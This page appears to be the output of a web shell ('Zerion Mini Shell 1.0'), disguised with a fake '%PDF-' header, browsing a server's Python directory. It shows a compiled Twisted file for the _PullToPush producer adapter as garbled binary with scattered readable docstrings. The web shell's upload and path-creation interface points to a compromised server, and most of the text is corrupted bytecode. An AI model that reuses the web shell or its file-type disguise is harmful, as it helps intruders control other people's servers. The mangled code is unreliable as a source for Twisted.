%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/_producer_helpers.cpython-312.pyc

�

Ϫ�fE���UdZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZgZ
eeed<ee�Gd	�d
��Zy)z%
Helpers for working with producers.
�)�List)�implementer)�
IPushProducer)�	cooperate)�log)�safe_str�__all__c�>�eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zy
)�_PullToPusha�
    An adapter that converts a non-streaming to a streaming producer.

    Because of limitations of the producer API, this adapter requires the
    cooperation of the consumer. When the consumer's C{registerProducer} is
    called with a non-streaming producer, it must wrap it with L{_PullToPush}
    and then call C{startStreaming} on the resulting object. When the
    consumer's C{unregisterProducer} is called, it must call
    C{stopStreaming} on the L{_PullToPush} instance.

    If the underlying producer throws an exception from C{resumeProducing},
    the producer will be unregistered from the consumer.

    @ivar _producer: the underling non-streaming producer.

    @ivar _consumer: the consumer with which the underlying producer was
                     registered.

    @ivar _finished: C{bool} indicating whether the producer has finished.

    @ivar _coopTask: the result of calling L{cooperate}, the task driving the
                     streaming producer.
    Fc� �||_||_y)N)�	_producer�	_consumer)�self�pullProducer�consumers   �D/usr/lib/python3/dist-packages/twisted/internet/_producer_helpers.py�__init__z_PullToPush.__init__2s��%���!���c#�K�		|jj�d��� #t$r�tjdt|j��d��	|jj�nC#t$r7tjdt|j��d��d|_YYywxYwY��wxYw�w)z�
        A generator that calls C{resumeProducing} on the underlying producer
        forever.

        If C{resumeProducing} throws an exception, the producer is
        unregistered, which should result in streaming stopping.
        TNz# failed, producing will be stopped:z failed to unregister producer:)	r
�resumeProducing�
BaseExceptionr�errrr�unregisterProducer�	_finished�rs r�_pullz_PullToPush._pull6s������
����.�.�0�*�J�/��!�
���������/�2��

��N�N�5�5�7��%�	��G�G��#�D�N�N�3�6��
&*�D�N��	��8�
�sO�B>�$�B>�5B;�A5�4B;�5<B5�1B;�2B>�4B5�5B;�8B>�:B;�;B>c�@�t|j��|_y)z�
        This should be called by the consumer when the producer is registered.

        Start streaming data to the consumer.
        N)rr�	_coopTaskrs r�startStreamingz_PullToPush.startStreamingWs��#�4�:�:�<�0��rc�`�|jryd|_|jj�y)z�
        This should be called by the consumer when the producer is
        unregistered.

        Stop streaming data to the consumer.
        NT)rr�stoprs r�
stopStreamingz_PullToPush.stopStreaming_s%���>�>����������rc�8�|jj�y)z7
        @see: C{IPushProducer.pauseProducing}
        N)r�pausers r�pauseProducingz_PullToPush.pauseProducingks��	
�����rc�8�|jj�y)z8
        @see: C{IPushProducer.resumeProducing}
        N)r�resumers rrz_PullToPush.resumeProducingqs��	
�����rc�X�|j�|jj�y)z6
        @see: C{IPushProducer.stopProducing}
        N)r"r
�
stopProducingrs rr)z_PullToPush.stopProducingws ��	
�������$�$�&rN)�__name__�
__module__�__qualname__�__doc__rrrrr"r%rr)�rrrrs2���0�I�"��B1�
�� �'rrN)r-�typingr�zope.interfacer�twisted.internet.interfacesr�twisted.internet.taskr�twisted.pythonr�twisted.python.reflectrr	�str�__annotations__rr.rr�<module>r7sO��
��&�5�+��+����c���
�]��e'�e'��e'r

Zerion Mini Shell 1.0